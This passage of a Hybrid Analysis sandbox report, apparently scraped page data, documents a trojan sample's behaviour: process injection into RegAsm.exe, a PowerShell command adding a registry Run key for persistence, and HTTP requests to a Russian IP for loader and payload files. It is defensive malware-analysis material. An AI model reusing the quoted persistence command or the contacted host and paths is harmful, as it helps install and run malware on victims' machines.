to avoid memory dumping)","description":"\"a9399.Trojan.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 1040)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 3364)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses a .NET obfuscator to hide its code","description":"\"System.IO.Compression\" is a hint for the obfuscator \"MPRESS\"\n \"System.IO.Compression.ZipFile\" is a hint for the obfuscator \"MPRESS\"","origin":"File/Memory","mitre_attack_id":"T1140","relevance":2,"id":"string-6","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"Remove-ItemProperty-Path'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'-Name'Automating_the_cleaning_actionsApp';New-ItemProperty-Path'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'-Name'Automating_the_cleaning_actionsApp' -Value '\"%LOCALAPPDATA%\\\\Automating_the_cleaning_actionsApp\\\\Automating_the_cleaning_actionsApp.exe\"' -PropertyType 'String'\" (UID: 00000000-00003364)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com0\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lrobpfh5.ltk.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_511dcy3p.qyn.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lrobpfh5.ltk.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_511dcy3p.qyn.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n GetModuleFileNameA\n UnhandledExceptionFilter\n GetStartupInfoW\n GetCommandLineA\n GetProcAddress\n CreateFileMappingW\n MapViewOfFile\n GetFileSizeEx\n LoadLibraryW\n WriteFile\n TerminateProcess\n GetModuleHandleW\n IsDebuggerPresent\n CreateFileW\n Sleep\n GetTickCount","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"a9399.Trojan.exe\" set thread context in remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" (PID: 1868)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"a9399.Trojan.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" (Handle: 1256)\n \"a9399.Trojan.exe\" wrote 00000200 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" (Handle: 1256)\n \"a9399.Trojan.exe\" wrote 00006E00 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" (Handle: 1256)\n \"a9399.Trojan.exe\" wrote 00000600 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" (Handle: 1256)\n \"a9399.Trojan.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1300)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}],"intel_graph":{"map":{"File:41e2a69d9e4506400c19767e0f82ac26f81cc5851c7d9cbe0b124a41f3140325":{"type":"File","value":"41e2a69d9e4506400c19767e0f82ac26f81cc5851c7d9cbe0b124a41f3140325"},"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13":{"type":"File","value":"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","verdict":{"verdict":"malicious","verdict_source":"static analysis","reasons":["PE file has invalid certificate"]},"filetype":"PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:be3ce448d35b68765f0526e1a3f444fd5cd6c0cc1b975f2f926808d679df6aa7":{"type":"File","value":"be3ce448d35b68765f0526e1a3f444fd5cd6c0cc1b975f2f926808d679df6aa7"},"File:cb6afb41a072f4d27109851ea746a4477c675f87ea00c02b03139a22696aaea5":{"type":"File","value":"cb6afb41a072f4d27109851ea746a4477c675f87ea00c02b03139a22696aaea5"},"File:dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd":{"type":"File","value":"dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd"},"File:ec788140046b7db4719affb4ca0464e12a2f31cc4d93760740884c4039ed98eb":{"type":"File","value":"ec788140046b7db4719affb4ca0464e12a2f31cc4d93760740884c4039ed98eb","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/x-x509-ca-cert"},"File:eef4771525112d21d1e1c0ef7c9b89090fd1d7ec8d972c3903e06f7f9748a675":{"type":"File","value":"eef4771525112d21d1e1c0ef7c9b89090fd1d7ec8d972c3903e06f7f9748a675"},"Ip:185.172.128.87":{"type":"Ip","value":"185.172.128.87"},"Url:/recovery.dat":{"type":"Url","value":"/recovery.dat"},"Url:/zima.php?mine=loader":{"type":"Url","value":"/zima.php?mine=loader"}},"chains":[{"id":"1546325416646651601","root":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","edges":[],"verdict":{"verdict":"malicious","verdict_source":"static analysis","reasons":["PE file has invalid certificate"]}},{"id":"1546325416160934392","root":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:ec788140046b7db4719affb4ca0464e12a2f31cc4d93760740884c4039ed98eb"}],"verdict":{"verdict":"unknown"}},{"id":"sandbox_network","root":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","edges":[{"edge_kind":"contacted_ip","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"Ip:185.172.128.87"},{"edge_kind":"contacted_url","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"Url:/zima.php?mine=loader"},{"edge_kind":"contacted_url","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"Url:/recovery.dat"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","edges":[{"edge_kind":"extracted","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:ec788140046b7db4719affb4ca0464e12a2f31cc4d93760740884c4039ed98eb"},{"edge_kind":"extracted","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd"},{"edge_kind":"extracted","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:be3ce448d35b68765f0526e1a3f444fd5cd6c0cc1b975f2f926808d679df6aa7"},{"edge_kind":"extracted","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:41e2a69d9e4506400c19767e0f82ac26f81cc5851c7d9cbe0b124a41f3140325"},{"edge_kind":"extracted","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:eef4771525112d21d1e1c0ef7c9b89090fd1d7ec8d972c3903e06f7f9748a675"},{"edge_kind":"extracted","from_key":"File:a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","to_key":"File:cb6afb41a072f4d27109851ea746a4477c675f87ea00c02b03139a22696aaea5"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":155,"dropped_files_count":0,"extracted_files_count":6,"files_written_count":11,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["commodity","badtrip","criminal","cryptocurrencytheft"],"sample_flags":["Network Traffic","Extracted Files","Sample Crashed","Multi-Process"],"sandbox_reports":[{"id":"6a9e0d8ce628db1060086df8","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"MSIL_Kryptik.KLE.gen","contacted_countries":["RUS"],"submit_name":"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","analysis_start_time":"2026-09-07T01:04:14+00:00","indicators_count":{"informative":172,"suspicious":21,"malicious":6},"tags":["Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"65c1373009318f738105a19f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"a9399.Trojan.exe","analysis_start_time":"2024-02-05T19:29:53+00:00","indicators_count":{"informative":178,"suspicious":40,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.172.128.87","port":80,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}],"dns_resolutions":null,"http_requests":[{"host":"185.172.128.87","host_ip":"185.172.128.87:80","url":"/zima.php?mine=loader","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /zima.php?mine=loader HTTP/1.1\nHost: 185.172.128.87\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"host":"185.172.128.87","host_ip":"185.172.128.87:80","url":"/recovery.dat","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /recovery.dat HTTP/1.1\nHost: 185.172.128.87","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}],"processes":[{"pid":1040,"ppid":0,"name":"a9399.Trojan.exe","command_line":"","sha256":"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","normalized_path":"C:\\a9399.Trojan.exe","uid":"00000000-00001040","icon":"$4f"},{"pid":6248,"ppid":1040,"name":"RegAsm.exe","command_line":"","sha256":"d2f0b87e2d2707685c4d35f8f05b42fb8326ef4e70d16097b8837daba06ac961","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe","parent_uid":"00000000-00001040","uid":"00000000-00006248"},{"pid":3364,"ppid":1040,"name":"powershell.exe","command_line":"Remove-ItemProperty-Path'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'-Name'Automating_the_cleaning_actionsApp';New-ItemProperty-Path'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'-Name'Automating_the_cleaning_actionsApp' -Value '\"%LOCALAPPDATA%\\Automating_the_cleaning_actionsApp\\Automating_the_cleaning_actionsApp.exe\"' -PropertyType 'String'","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001040","uid":"00000000-00003364"},{"pid":6872,"ppid":0,"name":"WerFault.exe","command_line":"-k -lc win32kbase.sys win32kbase.sys-20240205-1932.dm","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006872","icon":"$50"}],"all_imported_dlls":["Microsoft.VisualBasic.ni.dll","nsi.dll","api-ms-win-crt-environment-l1-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","version.dll","clr.dll","mscorlib.ni.dll","cryptbase.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-crt-convert-l1-1-0.dll","mscorrc.dll","apphelp.dll","devobj.dll","api-ms-win-downlevel-user32-l1-1-0.dll","rasman.dll","msctf.dll","api-ms-win-core-xstate-l2-1-0.dll","netstandard.dll","System.Runtime.InteropServices.RuntimeInformation.dll","userenv.dll","mpr.dll","msvcp140.dll","api-ms-win-crt-stdio-l1-1-0.dll","urlmon.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","winhttp.dll","kernel32.dll","rpcrt4.dll","ws2_32.dll","api-ms-win-crt-filesystem-l1-1-0.dll","shlwapi.dll","AcGenral.dll","profapi.dll","iertutil.dll","user32.dll","api-ms-win-core-file-l2-1-0.dll","ucrtbase_clr0400.dll","uxtheme.dll","rsaenh.dll","System.Windows.Forms.ni.dll","sfc.dll","System.Configuration.ni.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-crt-math-l1-1-0.dll","bcrypt.dll","ntmarta.dll","ntdll.dll","mscoree.dll","sechost.dll","vcruntime140.dll","WSHTCPIP.DLL","webio.dll","winnsi.dll","advapi32.dll","mscoreei.dll","vcruntime140_clr0400.dll","diasymreader.dll","wship6.dll","api-ms-win-crt-heap-l1-1-0.dll","KernelBase.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","Protect544cd51a.dll","api-ms-win-downlevel-version-l1-1-0.dll","System.Xml.ni.dll","msvcrt.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","oleaut32.dll","psapi.dll","System.Drawing.ni.dll","sxs.dll","samcli.dll","usp10.dll","api-ms-win-core-timezone-l1-1-0.dll","nlssorting.dll","Wldap32.dll","sfc_os.dll","cfgmgr32.dll","wininet.dll","dhcpcsvc.dll","VxSSL32.dll","lpk.dll","api-ms-win-core-file-l1-2-0.dll","rpcss.dll","cryptsp.dll","sspicli.dll","setupapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","gdi32.dll","ucrtbase.dll","imm32.dll","ole32.dll","System.ni.dll","System.Core.ni.dll","shell32.dll","winmm.dll","clrjit.dll","RpcRtRemote.dll","msacm32.dll","dwmapi.dll","rasapi32.dll","credssp.dll","IPHLPAPI.DLL","fltLib.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","normaliz.dll","rtutils.dll","mswsock.dll","dhcpcsvc6.dll","sppc.dll","winmmbase.dll","System.Drawing.dll","System.DirectoryServices.dll","Microsoft.VisualBasic.dll","gpapi.dll","msasn1.dll","combase.dll","comctl32.dll","edputil.dll","clbcatq.dll","System.Windows.Forms.dll","System.Management.dll","System.Data.dll","bcryptprimitives.dll","SHCore.dll","amsi.dll","wow64.dll","AcLayers.dll","Microsoft.Management.Infrastructure.ni.dll","slc.dll","atl.dll","win32u.dll","wintrust.dll","System.Management.Automation.dll","secur32.dll","windows.storage.dll","crypt32.dll","OnDemandConnRouteHelper.dll","System.Numerics.dll","wow64cpu.dll","gdi32full.dll","msvcp_win.dll","MpOAV.dll","MpClient.dll","Microsoft.PowerShell.ConsoleHost.dll","Microsoft.PowerShell.Security.dll","System.Transactions.dll","Accessibility.dll","kernel.appcore.dll","wow64win.dll","powrprof.dll","wldp.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"ec788140046b7db4719affb4ca0464e12a2f31cc4d93760740884c4039ed98eb","sha256":"ec788140046b7db4719affb4ca0464e12a2f31cc4d93760740884c4039ed98eb","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"Protect544cd51a.dll","sha256":"dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"Automating_the_cleaning_actionsApp.exe","sha256":"be3ce448d35b68765f0526e1a3f444fd5cd6c0cc1b975f2f926808d679df6aa7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"a9399.Trojan.exe.log","sha256":"41e2a69d9e4506400c19767e0f82ac26f81cc5851c7d9cbe0b124a41f3140325","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"powershell.exe.log","sha256":"eef4771525112d21d1e1c0ef7c9b89090fd1d7ec8d972c3903e06f7f9748a675","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"StartupProfileData-NonInteractive","sha256":"cb6afb41a072f4d27109851ea746a4477c675f87ea00c02b03139a22696aaea5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}],"files_written":[{"path":"%TEMP%\\Protect544cd51a.dll","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%LOCALAPPDATA%\\Automating_the_cleaning_actionsApp\\Automating_the_cleaning_actionsApp.exe","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\a9399.Trojan.exe.log","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lrobpfh5.ltk.ps1","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_511dcy3p.qyn.psm1","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\Protect544cd51a.dll","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MicrosoftEdgeUpdateTaskedCoresde","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"name":"Local\\SM0:1040:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"SM0:3364:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"Local\\SM0:3364:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"name":"SM0:3364:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}]}},"report_ids":{"sandbox_job_ids":["6a9e0d8ce628db1060086df8","65c1373009318f738105a19f"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Marsilia.Generic Sample a939923a67e6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a939923a67e6…. Malware family: Marsilia.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 11 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13"}],["$","meta","4",{"property":"og:title","content":"Malicious Marsilia.Generic Sample a939923a67e6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a939923a67e6…. Malware family: Marsilia.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 11 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Marsilia.Generic Sample a939923a67e6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a939923a67e6…. Malware family: Marsilia.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 11 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L51","11",{}]]